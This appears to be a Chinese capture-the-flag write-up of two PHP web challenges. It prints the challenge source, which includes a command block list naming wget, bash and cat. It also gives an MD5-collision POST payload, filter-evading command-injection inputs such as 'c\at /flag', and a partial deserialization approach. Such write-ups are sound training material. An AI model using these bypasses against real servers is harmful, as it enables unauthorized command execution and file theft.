标签:读取 tin 源码 pve wget tail ali ctf ||
1.easy_web
观察url中的img,解密过程两次base64,一次16进制。
解密得到555.png
读取index.php
<?php error_reporting(E_ALL || ~ E_NOTICE); header(‘content-type:text/html;charset=utf-8‘); $cmd = $_GET[‘cmd‘]; if (!isset($_GET[‘img‘]) || !isset($_GET[‘cmd‘])) header(‘Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=‘); $file = hex2bin(base64_decode(base64_decode($_GET[‘img‘]))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo ‘<img src ="./ctf3.jpeg">‘; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src=‘data:image/gif;base64," . $txt . "‘></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\‘|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST[‘a‘] !== (string)$_POST[‘b‘] && md5($_POST[‘a‘]) === md5($_POST[‘b‘])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
这里过滤了大部分命令执行的语句
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\‘|\"|\`|;|,|\*|\?|\
还有一个md5强类型的绕过
if ((string)$_POST[‘a‘] !== (string)$_POST[‘b‘] && md5($_POST[‘a‘]) === md5($_POST[‘b‘])) {
POST:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这里涉及的md5强类型相等,在网上就有很多解释。
在当前目录没有发现flag,因此去根目录下找flag
cmd=dir%20/,存在flag
禁用cat之后,
cmd=bin/c\at%20/flag
2.easy_serialize.php
给出源码:
<?php $function = @$_GET[‘f‘]; function filter($img){ $filter_arr = array(‘php‘,‘flag‘,‘php5‘,‘php4‘,‘fl1g‘); $filter = ‘/‘.implode(‘|‘,$filter_arr).‘/i‘; return preg_replace($filter,‘‘,$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = ‘guest‘; $_SESSION[‘function‘] = $function; extract($_POST); if(!$function){ echo ‘<a href="index.php?f=highlight_file">source_code</a>‘; } if(!$_GET[‘img_path‘]){ $_SESSION[‘img‘] = base64_encode(‘guest_img.png‘); }else{ $_SESSION[‘img‘] = sha1(base64_encode($_GET[‘img_path‘])); } $serialize_info = filter(serialize($_SESSION)); if($function == ‘highlight_file‘){ highlight_file(‘index.php‘); }else if($function == ‘phpinfo‘){ eval(‘phpinfo();‘); //maybe you can find something in here! }else if($function == ‘show_image‘){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo[‘img‘])); }
利用f传参,f=phpinfo
发现flag存在的位置.d0g3_f1ag.php
因此选择需要通过show_image传入序列化的参数
这里的代码逻辑是传入序列化后的seriallize_info之后,base64解码img的部分,这个base64解码的部分就是我们要读取的文件。
剩下的部分也是我要学习的部分,比赛中没有思路的地方,等考完试再另写一篇研究吧。
标签:读取 tin 源码 pve wget tail ali ctf ||
原文地址:https://www.cnblogs.com/sylover/p/12098364.html